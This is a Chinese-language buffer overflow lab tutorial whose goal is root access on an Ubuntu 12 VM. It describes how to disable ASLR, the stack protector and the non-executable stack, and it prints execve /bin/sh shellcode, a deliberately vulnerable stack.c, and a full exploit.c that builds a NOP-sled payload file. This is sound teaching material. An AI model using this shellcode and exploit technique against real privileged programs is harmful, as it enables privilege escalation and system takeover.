Buffer Overflow Vulnerability Lab
实验目的:掌握缓冲区溢出漏洞原理。
缓冲区溢出定义：程序企图在预分配的缓冲区之外写数据。
漏洞危害：用于更改程序执行流，控制函数返回值，执行任意代码。
漏洞产生原因：不可避免，由于程序存储数据（buffer）和程序（return address）
都在栈上，当存储数据覆盖了控制数据，就会发生缓冲区溢出的可能。
学习目标：
- 通过代码设计和利用缓冲区溢出漏洞获取ubuntu12的root权限。
- 掌握操作系统（linux OS）保护机制，阻止缓冲区溢出攻击。
你可以在ubuntu12虚拟机中完成本次实验，由于ubuntu中存在一些保护机制，
使缓冲区溢出很难实现，为此，我们需要关闭这些保护机制。
- 地址随机化（address space randomization）
堆/栈中的开始地址每次都不一样。
关闭地址随机化
关闭地址随机化
- 栈保护机制（StackGuard Protection）
gcc编译器实现的安全机制，阻止缓冲区溢出漏洞。你可以关闭这种机制，
通过在编译时使用-fno-stack-protector选项。 - 栈不可执行（Non-Executable Stack）
ubuntu12默认栈不可执行，可以通过在编译的时候使用-z execstack选项来使堆栈可执行。
shellcode
shellcode是一段弹出shell的可执行代码，我们需要将这段可执行代码载入内核的buffer中，
通过缓冲区溢出漏洞，跳转到这段可执行代码处，让终端弹出shell。
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
//execve()
//参数1：sh可执行文件在系统中的路径指针
//参数2：数组指针，传递给执行文件
//参数3：传递给执行文件的新环境变量数组
execve(name[0], name, NULL);
}
执行效果与直接在/bin/目录下执行./sh效果一样。
shellcode长什么样？
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
如何让shellcode运行？
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
//注意函数指针
((void(*)( ))buf)( );
}
shellcode汇编代码解读
image
执行这段程序栈和寄存器中数据：
栈和寄存器中数据
The Vulnerable Program
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
当badfile文件中内容大小低于缓冲区大小的时候，程序正常。
当文件内容大小超过缓冲区大小的时候，程序异常，发生缓冲区溢出。
exploiting the Vulnerability
利用缓冲区溢出漏洞，实现获取root权限：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
unsigned long get_sp()
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
long* addr_ptr,addr;
int offset = 200;
addr = get_sp() + offset;
addr_ptr = (long*)buffer;
for(int i = 0;i<10;i++)
*(addr_ptr++) = addr;
memcpy(buffer+sizeof(buffer)-sizeof(shellcode),
shellcode,sizeof(shellcode));
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
编译运行程序，即可以获取root权限：
获取root权限
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